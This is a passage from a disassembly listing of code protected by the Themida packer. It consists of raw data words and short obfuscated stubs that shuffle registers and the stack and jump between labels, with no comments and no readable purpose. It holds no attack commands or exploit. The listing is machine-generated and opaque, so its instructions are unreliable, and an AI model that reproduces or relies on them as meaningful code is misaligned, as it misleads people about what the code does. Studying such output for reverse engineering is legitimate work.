242C89FFh dd 0C83BAFBDh, 0C1E9555Ah, 89FFFFA1h, 2434FFC8h, 52240C8Bh dd 0BD55E289h, 4, 835DEA01h, 148704C2h, 0C4835C24h, 4EC8304h dd 55240C89h, 0B33D7ABDh, 5D59552Ch, 0FF2E36E9h, 2DF381FFh dd 814AB51Ch, 77E00CBh, 0F4F38157h, 17FB7FFh, 34875BDEh dd 0D6F75C24h, 0EC83DEF7h, 0C39FE904h, 0E389FFFFh, 4C381h dd 0B1680000h, 8900005Dh, 4BF243Ch, 0E9000000h, 0FFFF05F2h dd 66B9C381h, 2D68061Fh, 89000035h, 0B0B82404h, 21174C2Ch dd 24048BC3h, 4C481h, 51560000h, 331444B9h, 0E9CE896Ch dd 0FFFEF3F6h, 44B2C581h, 0CD010026h, 44B2ED81h, 8B590026h dd 0C4832404h, 74FF5504h, 8F5D0424h, 0BAE92404h db 0F4h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_562A9B: ; CODE XREF: Themida_:0055C900j sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi sub esp, 4 jmp loc_55DD8E ; --------------------------------------------------------------------------- dd 5C241C87h, 5C24048Fh, 2588E9h, 0EABB5300h, 0C17E5212h dd 0E94305E3h, 0FFFFAE90h, 3B7FED81h, 81E903ECh db 78h, 2 dup(0FFh) byte_562AD7 db 0FFh ; DATA XREF: Themida_:0055140Co dd 48B2434h, 4C48124h, 81000000h, 4ECh, 243C8900h, 740C68h dd 24248900h, 0FF3BE8E9h, 2434FFFFh, 0FFC2EAE9h, 31665CFFh dd 63E92404h, 87FFFF61h, 248B242Ch, 38AEE924h, 815BFFFFh dd 4C4h, 4E9C100h, 52F18149h, 5004DC14h, 1C33DFB8h, 58C131F9h dd 0FF7980E9h, 240C8BFFh, 4C481h, 3E90000h, 0BEFFFEF0h dd 4, 348BF701h, 0E3895324h, 4C381h, 0B1E90000h, 51FFFF05h dd 0E180D4B1h, 0FCC18058h, 0E97CE180h, 0FFFF5FF9h ; --------------------------------------------------------------------------- loc_562B6C: ; CODE XREF: Themida_:00556D58j sub ebp, edx add ebp, 6B3B1204h pop edx jmp loc_5515FA ; --------------------------------------------------------------------------- dw 4343h dd 2D30F381h, 0D9317045h, 0FFBAF9E9h db 0FFh ; --------------------------------------------------------------------------- loc_562B89: ; CODE XREF: Themida_:0055E827j pop dword ptr [esp] pop esp mov [esp], ecx push ebx jmp loc_55C323 ; --------------------------------------------------------------------------- dw 0D9F7h dd 0E9C1D9F7h, 81E98106h, 0E91E1A4Dh, 1953h dword_562BA8 dd 8124148Bh, 4ECh, 241C8900h, 268E389h, 8900002Ch, 0E2892414h ; DATA XREF: Themida_:005512F8o dd 4C281h, 0EA810000h, 4, 0FFDE5AE9h, 241C89FFh, 0E8685B54h dd 0E9000061h, 3B9h, 285468h, 24048900h, 283D6851h, 0C1594B20h dd 66E906E9h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562BF7: ; CODE XREF: Themida_:00561CA4j add ecx, ebx sub ecx, 6E9219EBh jmp loc_556307 ; --------------------------------------------------------------------------- dd 4C581h, 2C330000h, 3310E924h, 489FFFFh, 4EC8124h, 89000000h dd 0DEB5240Ch, 0EC003CB4h, 45E95259h, 5FFFFFACh, 0FF7B10E9h db 0FFh ; --------------------------------------------------------------------------- loc_562C31: ; CODE XREF: Themida_:00565439j mov edi, 153340EFh xor edi, 31BB309Ah xor edi, 24887071h add ebp, edi pop edi sub ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_55C016 ; --------------------------------------------------------------------------- loc_562C56: ; CODE XREF: Themida_:0055AA4Fj mov eax, 275D6195h jmp loc_5616CE ; --------------------------------------------------------------------------- dd offset asc_5BC568 ; "ллллллллллллллллллллллллллллллллллллллл"... dd 24148900h, 4EC81h, 34890000h, 7105BE24h, 25E9420Ah dd 31FFFF47h, 14332414h, 24248B24h, 4EC81h, 34890000h dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 4EC815Ch dd 0E9000000h, 0FFFF0AB8h, 1AA6C281h, 0D2F729F3h, 8232E956h dd 0E958FFFFh, 1E33h, 0C105E7C1h, 0E0E906EFh, 5EFFFFA0h dd 48E91188h, 5DFFFFBBh, 5AA468h, 24148900h, 1EFAE9h db 0 ; --------------------------------------------------------------------------- loc_562CDD: ; CODE XREF: Themida_:00552A97j sub ecx, edi pop edi add eax, ecx jmp loc_554DE3 ; --------------------------------------------------------------------------- byte_562CE7 db 66h ; DATA XREF: Themida_:0055133Co dd 68240C8Bh, 34AEh, 54241C89h, 12FAE95Bh, 0EC810000h dd 4, 0FFA773E9h, 240C8BFFh, 781E9h db 0 ; --------------------------------------------------------------------------- loc_562D0D: ; CODE XREF: Themida_:0055D25Aj push 258D2CE4h pop eax sub eax, 488D19BCh add eax, 1286667Eh sub eax, 770F63F3h mov edi, eax pop eax or edi, 248B497Ah add edi, 7EF70DE8h jmp loc_55C78C ; --------------------------------------------------------------------------- dw 0BEB9h dd 2D0E1A01h, 44A3609h, 0BE56C801h, 44A3609h, 348BF001h dd 4C48324h, 0FEF01AE9h, 0C18159FFh, 4, 8704C183h, 835C240Ch dd 0D7E904ECh db 0Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562D6B: ; CODE XREF: Themida_:0056028Cj neg ecx and ecx, 32A25A2Eh add ecx, 664918B7h xor ecx, 22391353h xor edi, ecx jmp loc_553DF5 ; --------------------------------------------------------------------------- loc_562D86: ; CODE XREF: Themida_:0055FE0Fj sub eax, 3718377Ah sub eax, edi add eax, 3718377Ah jmp loc_557622 ; --------------------------------------------------------------------------- db 1 dd 1AC281FAh, 0E9200F4Bh, 0FFFFAE71h ; --------------------------------------------------------------------------- loc_562DA4: ; CODE XREF: Themida_:005620F4j add eax, edi pop edi jmp loc_55D5AD ; --------------------------------------------------------------------------- loc_562DAC: ; CODE XREF: Themida_:005668F2j xchg edx, ebp dec edx xchg edx, ebp xor ebp, 118A4675h or ecx, ebp pop ebp push ebp mov ebp, 8765ED1h and ecx, ebp jmp loc_55DBF6 ; --------------------------------------------------------------------------- db 31h dd 1C33241Ch, 24248B24h, 2C181h, 0E7680000h, 89000029h dd 74FF240Ch, 34FF0424h, 0C4835924h, 24048F04h, 0E924248Bh dd 0FFFEF11Ah, 468h, 54015A00h, 8B5A0424h, 0C483242Ch dd 0E3AEE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562E0A: ; CODE XREF: Themida_:00557524j pop edi neg edi xor edi, 788A52F3h add edi, 58B540ADh mov edx, edi pop edi jmp loc_55DD88 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 4BBh, 5BDA0100h, 0D8668h, 24148900h, 42474FFh, 24048F5Ah dd 2608E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_562E42: ; CODE XREF: Themida_:0055AB05j xor [esp], ebx xor ebx, [esp] pop esp jmp loc_554B06 ; --------------------------------------------------------------------------- dw 8966h dd 94E9240Ch db 0E6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_562E57: ; CODE XREF: Themida_:00558168j mov esi, 21116CB2h push ebp mov ebp, 6B416F40h inc ebp sub ebp, 47B60552h push esi mov esi, 5CC72E7Ch shr esi, 3 sub esi, 7349313Ah xor esi, 24AE736Fh not esi sub esi, 0C65FC5F1h xor ebp, esi pop esi xor esi, ebp jmp loc_55E65B ; --------------------------------------------------------------------------- loc_562E90: ; CODE XREF: Themida_:0055EE1Bj sub ebx, ebp jmp loc_551793 ; --------------------------------------------------------------------------- db 57h dd 661701BFh, 5FFD290Bh, 3A9E9h db 0 ; --------------------------------------------------------------------------- loc_562EA5: ; CODE XREF: Themida_:0055E0BFj mov edi, 78553640h jmp loc_5619F3 ; --------------------------------------------------------------------------- loc_562EAF: ; CODE XREF: Themida_:0055C877j mov [esp], ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx jmp loc_5520E5 ; --------------------------------------------------------------------------- db 1, 0C7h, 0E9h dd 0FFFFE9E9h, 35BE565Fh, 813B3072h, 792BDFE6h, 5EDE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562EDE: ; CODE XREF: Themida_:00558D2Bj add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx mov ebx, 4 add ecx, ebx pop ebx xor ecx, [esp] xor [esp], ecx jmp loc_55DE02 ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 0EDh dd 81FFFFC7h, 2E5FA3EDh, 0E9EE89AAh, 0FFFF53AEh ; --------------------------------------------------------------------------- locret_562F14: ; CODE XREF: Themida_:005633AAj retn ; --------------------------------------------------------------------------- db 0E9h, 0D1h, 0E5h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_562F1A: ; CODE XREF: Themida_:0055674Fj sub edx, esi pop esi xor edx, 626CD9B9h jmp loc_55C40E ; --------------------------------------------------------------------------- aYrvW db 'YRV╬╦W',0 db 13h dd 348BF289h, 4C48124h, 0E9000000h, 0FFFEE830h, 5ACBB850h dd 0C3017094h, 0FF7C9DE9h, 52E089FFh, 4BAh, 5AD00100h dd 2C06E9h, 81E68900h, 4C6h, 4EE8300h, 0E9243487h, 0FFFFAC6Bh dd 3FE9CB89h, 66FFFF1Ch, 66240489h, 0E901B151h, 0FFFFD237h dd 0FEE562E9h, 7CE952FFh db 5Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562F8F: ; CODE XREF: Themida_:0055D8C4j mov edx, esi mov esi, [esp] jmp loc_563C96 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 4BB53h, 0D9890000h, 0FEF097E9h db 0FFh byte_562FA9 db 0ADh, 53h, 56h ; DATA XREF: Themida_:00551348o dd 9E518BBEh, 81D6F703h, 0D90927F6h, 2EEC115h, 243FEE81h dd 0D6F734E7h, 310DBB53h, 0BFE96F4Bh db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562FCF: ; CODE XREF: Themida_:00552C59j push ebx add dword ptr [esp], 2432E34h pop edx sub edx, 2432E34h pop ebx push edx xor dword ptr [esp], 4E466E8Eh jmp loc_55C3BD ; --------------------------------------------------------------------------- dd 4240483h, 83240C8Bh, 75E904C4h, 97FFFF0Bh, 3EFC147h dd 5E4EEF81h, 0F88910DDh, 0FF3752E9h db 0FFh ; --------------------------------------------------------------------------- loc_56300D: ; CODE XREF: Themida_:0055E967j push 5698h mov [esp], eax push edi jmp loc_551658 ; --------------------------------------------------------------------------- db 31h dd 5D04246Ch, 0FFBB96E9h, 5BDD01FFh, 5C242C87h, 4EA81h dd 14330000h, 0DAAE924h, 5659FFFFh, 4BEh, 5EF00100h, 5C240487h dd 317CEA81h, 0C2812040h, 181B0745h, 1E9DE281h, 0EA812A49h dd 808087Ch, 15AD789h, 1C335FFBh, 241C3124h, 0FF12BEE9h dd 24148BFFh, 904C483h, 48B1C47h, 78E95124h, 0FFFFFEEFh dd 58042474h, 5C24048Fh, 240CFF66h, 4272E99Ch, 0EC81FFFFh dd 4, 0BD242C89h, 20636610h, 5105E5C1h, 0BB38F5B9h, 0D1BA5241h dd 42212A2Dh, 4A72B850h, 0C2314B02h, 81D2F758h, 0F11A6AEAh dd 0FFE98134h, 0E90ECF56h, 0FFFF15BAh, 585DEA89h, 8E9FA01h dd 89FFFF52h, 4C581E5h, 53000000h, 4BBh, 0FF37E900h, 17B5FFFFh dd 0FFF7A9E9h, 196768FFh, 1C890000h, 68E38924h, 54A5h dd 0FEE6BCE9h, 24348BFFh, 0FF1F33E9h, 242C89FFh, 0EC81E589h dd 4, 81240489h, 4ECh, 2EAFE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56312A: ; CODE XREF: Themida_:005575B0j pop ecx jmp loc_55C448 ; --------------------------------------------------------------------------- dd 4C481h, 2D660000h, 2D66668Dh, 56609D2h, 26E94028h, 56000007h dd 7CE95E54h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56314F: ; CODE XREF: Themida_:005628BBj mov eax, ebx pop ebx sub ecx, eax push dword ptr [esp] push dword ptr [esp] jmp loc_5518D8 ; --------------------------------------------------------------------------- byte_56315F db 66h ; DATA XREF: Themida_:00551358o dd 68240C8Bh, 7441h, 89241C89h, 7EB1E9E3h, 0C481FFFFh dd 4, 3D45E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56317E: ; CODE XREF: Themida_:00565977j pop edi mov ebx, ecx pop ecx sub ebx, esi mov esi, [esp] add esp, 4 add eax, 41E42878h add eax, ebx sub eax, 41E42878h push dword ptr [esp] pop ebx add esp, 4 xchg eax, [esp] mov esp, [esp] push 312Fh mov [esp], edi sub esp, 4 jmp loc_55AA4B ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 13DCE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5631C2: ; CODE XREF: Themida_:00555337j add esp, 4 push 4252h mov [esp], esi push edx mov edx, 40C80373h shr edx, 3 xor edx, 2FD06214h xor edx, 373A5031h mov esi, edx pop edx xor esi, 615A23E8h jmp loc_552953 ; --------------------------------------------------------------------------- dd 5D3D8B05h, 2DF80106h, 65D3D8Bh, 0FF5169E9h db 0FFh ; --------------------------------------------------------------------------- loc_563201: ; CODE XREF: Themida_:0055B6EAj pop esp push ebp push ecx mov ecx, 3CAB36ADh mov ebp, 52F81EC2h xor ebp, ecx mov ecx, [esp] jmp loc_56397F ; --------------------------------------------------------------------------- dd 5B9DEB81h, 0EB815C6Fh, 62736554h, 0E95BDA29h, 0B1Eh dd 0E904EFC0h, 0FFFEF363h, 3D45BB05h, 7468556Ch, 0E9000060h dd 3AFh dword_563244 dd 245668h, 207FE900h, 0ED81FFFFh, 0E80DE7E6h, 279BD55h ; DATA XREF: Themida_:00551350o dd 0DDF715CDh, 0EDD14D4Dh, 3E7EBE56h, 0E6C13D30h, 0F4EE8103h dd 31BE347Eh, 0EB015EF5h, 0AB52E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56327A: ; CODE XREF: Themida_:0055C57Aj mov ebp, 371759A4h xor ebp, ecx pop ecx add ebx, ebp mov ebp, [esp] add esp, 4 add ebx, edi sub ebx, 59B63EF5h push edx jmp loc_553B4D ; --------------------------------------------------------------------------- loc_563298: ; CODE XREF: Themida_:00565847j and ecx, edi mov edi, [esp] add esp, 4 shr ecx, 6 push 7716h mov [esp], ebx push dword ptr [esp] pop eax push ebx push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_5651C9 ; --------------------------------------------------------------------------- dd 489665Ch, 0E21DE924h, 1489FFFEh, 55E28924h, 6B7B58BDh dd 0FFED8309h, 0FF1B87E9h db 0FFh ; --------------------------------------------------------------------------- loc_5632E1: ; CODE XREF: Themida_:005638A3j add dword ptr [esp], 4 pop ecx push ebp jmp loc_5537B4 ; --------------------------------------------------------------------------- dd 0F180C1FEh, 0B6E980DFh, 0E959CA88h, 0FFFFA16Eh, 0E9F9015Ah dd 0FFFFAFA0h, 4B951h, 0C8010000h, 0FF6C76E9h, 0DCE950FFh db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_563317: ; CODE XREF: Themida_:005647E3j push ecx jmp loc_555F48 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 24048B66h, 815B5453h, 4C3h, 4EB8300h, 2474FF53h, 2302E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56333A: ; CODE XREF: Themida_:0055D4EAj add edi, ebp pop ebp add edi, 4 push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] jmp loc_55391C ; --------------------------------------------------------------------------- db 2Dh dd 54FA54FCh, 1D8AE9h, 4EC8100h, 0E9000000h, 31Eh, 0EC817E04h dd 4, 0E9240C89h, 0FFFFDEC3h, 34FFE830h, 89505924h, 0F1B8E9E0h dd 0FA01FFFEh, 0FFF502E9h, 4E0C1FFh, 68h, 0E2B3E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56339A: ; CODE XREF: Themida_:0055BCB5j xor ebp, [esp] jmp loc_55CD33 ; --------------------------------------------------------------------------- loc_5633A2: ; CODE XREF: Themida_:00560C65j xchg edx, [esp] mov esp, [esp] popa popf jmp locret_562F14 ; --------------------------------------------------------------------------- db 29h dd 0D1F75DE9h, 68D9BF57h, 0F9314473h, 0FF7A3AE9h, 0E9D7F7FFh dd 0FFFF3449h, 6A8CE781h, 6BE95330h, 81FFFF9Ah, 0BFB624C3h dd 5BDE29DFh, 2474FF56h, 0CE59E904h, 0C383FFFFh, 3EC3E904h dd 0ED81FFFFh, 6D1C4E4Dh, 0E9240C8Bh, 0FFFFD0E0h ; --------------------------------------------------------------------------- loc_5633FC: ; CODE XREF: Themida_:0055CE21j add eax, 73A53EBAh add edx, eax pop eax push ecx mov ecx, 705C548Bh jmp loc_5606A9 ; --------------------------------------------------------------------------- loc_56340F: ; CODE XREF: Themida_:0055AEE3j xor edx, 51984C0Ah dec edx jmp loc_5592A9 ; --------------------------------------------------------------------------- db 89h dd 0B353240Ch, 0FEDBF609h, 3287E9CBh, 0E943FFFFh, 384Bh dd 9CC6815Eh, 8967E71Bh, 0D8F75EF0h, 0F707E0C1h, 3E0C1D8h dd 0FEEA68E9h db 0FFh ; --------------------------------------------------------------------------- loc_563449: ; CODE XREF: Themida_:00565B13j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub edx, edi push ecx mov ecx, esp push esi mov esi, 3AA16BD9h jmp loc_556DA7 ; --------------------------------------------------------------------------- loc_56346C: ; CODE XREF: Themida_:00558ECAj mov esi, 0B5A88A8Ah jmp loc_55C935 ; --------------------------------------------------------------------------- word_563476 dw 0F766h ; DATA XREF: Themida_:00551218o dd 0E99C241Ch, 0FFFEE06Bh, 0BF243C89h, 5B134808h, 7BCCE956h dd 8956FFFFh, 4C681E6h, 0E9000000h, 0FFFFACE8h, 31243C33h dd 3C33243Ch, 8F545C24h, 85682404h, 0E9000005h, 0FFFEE51Dh dd 2C781h, 3C870000h, 24248B24h, 4AB0F66h, 20E99C24h, 51FFFEE0h dd 1D312DB9h, 59CE3163h, 0E9D6F74Eh, 0FFFF5166h, 6047C381h dd 87E9234Fh, 1FFFF91h, 24148BD0h, 5704C483h, 676EAD68h dd 0F8015F12h, 83243C8Bh, 34FF04C4h, 24348B24h, 4C481h dd 89520000h, 685557E2h, 6C40E35h, 0FAED815Dh, 0E9319A6Ch dd 0FFFFD402h ; --------------------------------------------------------------------------- loc_563520: ; CODE XREF: Themida_:00561347j mov [esp], ecx mov ch, 0D0h xor bl, ch pop ecx jmp loc_55DF3F ; --------------------------------------------------------------------------- loc_56352D: ; CODE XREF: Themida_:00565142j sub dword ptr [esp], 6EC60C19h jmp loc_55C541 ; --------------------------------------------------------------------------- db 1, 0CDh, 53h dd 0A55A16BBh, 0E9D3F73Ch, 26FFh, 0E9D8005Ah, 0FFFFB3C1h dd 3E4368h, 0D9BE900h, 0FA29FFFFh, 7EA1C281h, 0F75F32FFh dd 42DAF7D2h, 19ACBE56h, 0F2294A4Fh, 5AD7015Eh, 0FF0A45E9h db 0FFh ; --------------------------------------------------------------------------- loc_563579: ; CODE XREF: Themida_:0055E45Dj mov [esp], esi jmp loc_5610BF ; --------------------------------------------------------------------------- db 81h, 2Ch, 24h dd 0FFFFFFFFh, 0A8B9515Bh, 29DB2A3Bh, 5290E9CBh, 815DFFFFh dd 4C4h, 88BD5500h, 8143F141h, 82D926C5h, 5DEA012Dh, 5F22C281h dd 0CA814473h, 24EA4F83h, 8904EC83h, 52512404h, 0FFB819E9h dd 243C89FFh, 4B60CFBFh, 953E906h, 0EEC1FFFFh, 9018E902h dd 0E951FFFFh, 0FFFF426Eh, 0E95BD901h, 0FFFF5F4Eh ; --------------------------------------------------------------------------- loc_5635E8: ; CODE XREF: Themida_:00559709j add edx, 1D6B0C10h jmp loc_5628A6 ; --------------------------------------------------------------------------- db 89h dd 24682434h, 0E902BF1Bh, 0FFFF4F3Fh, 4C481h, 0E9500000h dd 0FFFFC273h, 8904EC83h, 1FE92404h db 3Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563617: ; CODE XREF: Themida_:0056218Ej xor ecx, [esp] mov esp, [esp] jmp loc_558766 ; --------------------------------------------------------------------------- loc_563622: ; CODE XREF: Themida_:00564284j mov [esp], ebp jmp loc_554406 ; --------------------------------------------------------------------------- dw 0FF55h dd 5D042474h, 5C24048Fh, 0E99CC884h, 0FFFF51B5h, 0E93BB050h dd 0FFFF278Dh ; --------------------------------------------------------------------------- loc_563644: ; CODE XREF: Themida_:00563D6Bj mov ebp, [esp] jmp loc_55EC92 ; --------------------------------------------------------------------------- dd 0BE243489h, 40233413h, 481EE681h, 0EED17DB3h, 0BD55DEF7h dd 749A06CAh, 7D31C581h, 0C58176E9h, 2B3F781Ch, 1946E9h dd 16BD5500h, 816FEB24h, 0EF0DDDEDh, 5D39E911h, 2C89FFFFh dd 3099E924h, 0D901FFFFh, 1410E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563696: ; CODE XREF: Themida_:0055B17Cj xor esi, 1A2F26B2h jmp loc_5647F3 ; --------------------------------------------------------------------------- db 89h, 0D1h, 5Ah dd 0F072C181h, 0BB53BDC0h, 7F4E7574h, 0E95BDF01h, 0FFFF4729h dd 768EE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5636BE: ; CODE XREF: Themida_:00555CE6j pop ecx sub edx, ecx jmp loc_558850 ; --------------------------------------------------------------------------- dw 515Ah dd 0FFC54AE9h db 0FFh byte_5636CD db 66h, 8Bh, 4 ; DATA XREF: Themida_:00551310o dd 0E0895024h, 405h, 60816800h, 1C890000h, 4BB24h, 72D0000h dd 293B962Ah, 2A0705D8h, 875B3B96h, 895C2404h, 0E0892404h dd 1750E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563702: ; CODE XREF: Themida_:0056247Dj pop edx jmp loc_55FA5B ; --------------------------------------------------------------------------- dd 1EFBEF81h, 0BD55422Ch, 15C820ECh, 13D6B951h, 0E98168AFh dd 36D478D0h, 73AFC181h, 0E1C138C8h, 0A3B9E905h, 0C481FFFFh dd 4, 0FF301BE9h, 0C1815FFFh, 17106AD6h, 0FF4472E9h, 0E9D0F7FFh dd 0FFFF40D6h, 0D828B604h, 0B353B62Ch, 5EBC099h, 0FF3799E9h dd 244C01FFh, 48B5904h, 4C48324h, 405h, 0E2895200h, 4C281h dd 0BB530000h, 0C051C1Fh, 666EB81h, 0F3817183h, 7085142Ah dd 81D3F74Bh, 70197C3h, 5BDA29EAh, 8B241487h, 1C892424h dd 5FF0BB24h, 0AE9006Ch, 8100001Ah, 2C2CEDE9h, 0E9525060h dd 0FFFFC844h, 0F28006B2h, 5AD03012h, 3058C728h, 241C8BFAh dd 5204C483h, 0CEFE72B6h, 0B3EE80h, 0D0005AF0h, 8904EC83h dd 0CAB7241Ch, 0FF808DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5637E1: ; CODE XREF: Themida_:005650DAj mov esi, 231F51F7h push 6A65h mov [esp], ebp mov ebp, 228825ADh jmp loc_5547D4 ; --------------------------------------------------------------------------- dd 43E3D143h, 5087F381h, 0DF018AEAh, 0FF842AE9h, 4C483FFh dd 8070C380h, 0C30093EBh, 0BE685266h, 89000025h, 93B7241Ch dd 0FF6269E9h, 88D388FFh, 0F65A5BDDh, 8E5C0DDh, 0FEF0F580h dd 80D5F6C5h, 0BCE99AF5h db 86h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56383F: ; CODE XREF: Themida_:0055E6E9j mov ebx, [esp] add esp, 4 add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_561F01 ; --------------------------------------------------------------------------- db 0BFh, 1Dh, 52h dd 81471F11h, 11521AEFh, 5FFD011Fh, 0FEFDCDE9h, 0F00166FFh dd 64BB6653h, 0F381667Fh, 816640CDh, 6618B1F3h, 1910C381h dd 6C590566h, 0E9D82966h, 0FFFFD51Eh, 240C8966h, 50E1B753h dd 0FF6935E9h db 0FFh ; --------------------------------------------------------------------------- loc_56389D: ; CODE XREF: Themida_:0056131Bj sub esp, 4 mov [esp], esp jmp loc_5632E1 ; --------------------------------------------------------------------------- loc_5638A8: ; CODE XREF: Themida_:0055986Aj push edx pop eax pop edx pop esi xor eax, 354C5C80h inc eax and eax, 448B3096h jmp loc_5581B1 ; --------------------------------------------------------------------------- loc_5638BC: ; CODE XREF: Themida_:00552839j pop ecx add ecx, 4 jmp loc_559334 ; --------------------------------------------------------------------------- dd 0F954E95Dh, 6068FFFEh, 8900000Ah, 7CB9240Ch, 2905794Dh dd 684559CDh, 0 dd 11240481h, 292A2A4Dh, 2C81242Ch, 2A4D1124h, 0ED815D2Ah dd 3643D367h, 0BAE9EB31h db 0ABh, 2 dup(0FFh) byte_563903 db 66h ; DATA XREF: Themida_:0055131Co dd 0E924048Bh, 0FFFF79E1h, 4246C01h, 81242C8Bh, 4C4h, 0EC835900h dd 24148904h, 4BAh, 30E4E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56392A: ; CODE XREF: Themida_:0055F6A9j push ecx push esp jmp loc_55E4C5 ; --------------------------------------------------------------------------- db 56h, 0E9h, 3Eh dd 80FFFF38h, 0C680A3C6h, 24048BEBh, 4C483h, 24148BF0h dd 4C481h, 0F32C0000h, 0F2C9E952h db 0FEh, 0FFh word_563956 dw 0C8Bh ; DATA XREF: Themida_:0055143Co aH3 db '$h3)',0 align 2 dw 0C89h dd 50E18924h, 0CD1206B8h, 3663E92Eh, 0C681FFFFh, 4, 4B951h dd 4DE90000h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56397F: ; CODE XREF: Themida_:00563213j add esp, 4 sub ebp, 300FC97Fh or edi, ebp pop ebp add edi, 1 shr edi, 4 sub esp, 4 mov [esp], edi xchg esi, [esp] push esi not dword ptr [esp] mov esi, [esp] add esp, 4 xor [esp], esi xor esi, [esp] xor [esp], esi pop edi push esi jmp loc_553900 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0FFCAFAE9h, 4C681FFh, 0E9000000h, 0FFFFE4DAh, 1CDAE281h dd 0D2F77C5Fh, 0FF88F0E9h, 59CE01FFh, 0FF3980E9h, 0F4805BFFh dd 0FAC480E9h, 0C0B3CC80h, 0CFE903ECh, 81FFFFEDh, 4C4h dd 0FFF22900h, 815E2434h, 4C4h, 6EAC100h, 294E9h, 5953BE00h dd 0E6D1426Bh, 0EE81DEF7h, 24E705C5h, 0E902E6C1h, 0FFFF1EA8h dd 4C481h, 3BE90000h db 31h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563A33: ; CODE XREF: Themida_:00566C76j add bh, dl mov edx, [esp] add esp, 4 xor al, bh mov ebx, [esp] push 62E0h mov [esp], edi push esp jmp loc_560E30 ; --------------------------------------------------------------------------- loc_563A51: ; CODE XREF: Themida_:00555806j mov ebp, 67FF34DCh push ebx push 4CC2228Bh pop ebx jmp loc_552655 ; --------------------------------------------------------------------------- loc_563A62: ; CODE XREF: Themida_:005641E0j push dword ptr [esp] pop eax add esp, 4 push 4049h mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_558211 ; --------------------------------------------------------------------------- loc_563A84: ; CODE XREF: Themida_:00554310j sub ecx, 5D1902E0h jmp loc_564E7E ; --------------------------------------------------------------------------- db 0FFh dd 59042474h, 8B24048Fh, 1C892424h, 5D6ABB24h, 5C29782Ah dd 1C8B0424h, 4EC8124h, 0E9000000h, 0FFFFA537h, 0E9243487h dd 0FFFEF336h, 3C8BFD01h, 4C48324h, 0ED81CD01h, 78D85C99h dd 558168h, 2EDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563AD6: ; CODE XREF: Themida_:0055DC44j mov [esp], esi jmp loc_555734 ; --------------------------------------------------------------------------- dw 4BFh dd 56000000h, 0C52705BEh, 0E9E6D12Ch, 0FFFF68EBh, 8159CA01h dd 4C2h, 24143300h, 33241431h, 8F5C2414h, 248B2404h, 4016624h dd 0D8E99C24h, 0B0FFFED9h, 58C300F8h, 8001EB80h, 80E9D0CBh dd 81FFFFDAh, 0D1C81CE9h, 0FFC801F9h, 0E9592434h, 0FFFF99BBh dd 8324248Bh, 60E904ECh db 18h, 2 dup(0FFh) byte_563B3F db 0ACh ; DATA XREF: Themida_:0055129Co dd 154668h, 240C8900h, 0EC8357B5h, 24148904h, 55E929B2h dd 8BFFFF2Dh, 0C4832414h, 90E6E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563B62: ; CODE XREF: Themida_:0055544Ej push dword ptr [esp] jmp loc_55A445 ; --------------------------------------------------------------------------- word_563B6A dw 8B66h ; DATA XREF: Themida_:005513BCo dd 89572404h, 273968E7h, 2C890000h, 0AFBF5724h, 5163B036h dd 91237BB9h, 59CF01C0h, 2434FF57h, 5954515Dh, 4C181h dd 0C1830000h, 7CA6E904h, 489FFFFh, 57C16824h, 8F540000h dd 4812404h, 424h, 24048B00h, 0FFB831E9h, 6FE95FFFh, 5CFFFF08h dd 0FFBEDEE9h, 7BB850FFh, 0F73BF23Ch, 5D0F7D0h, 73975F2Ah dd 0F349572Dh, 2F5D3537h, 0C50950AEh, 6FC58158h, 8118182Dh dd 3CC3BEF5h, 5DEE094Ah, 133FE681h, 0EC836634h, 241C8904h dd 7B75C8BBh, 2E3C135h, 68h, 241C2900h, 23EB815Bh, 31CA446Ch dd 0B618E9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563C1A: ; CODE XREF: Themida_:00565AD0j mov esp, [esp] jmp loc_5514EB ; --------------------------------------------------------------------------- loc_563C22: ; CODE XREF: Themida_:0055B1D1j xchg ebp, [esp] 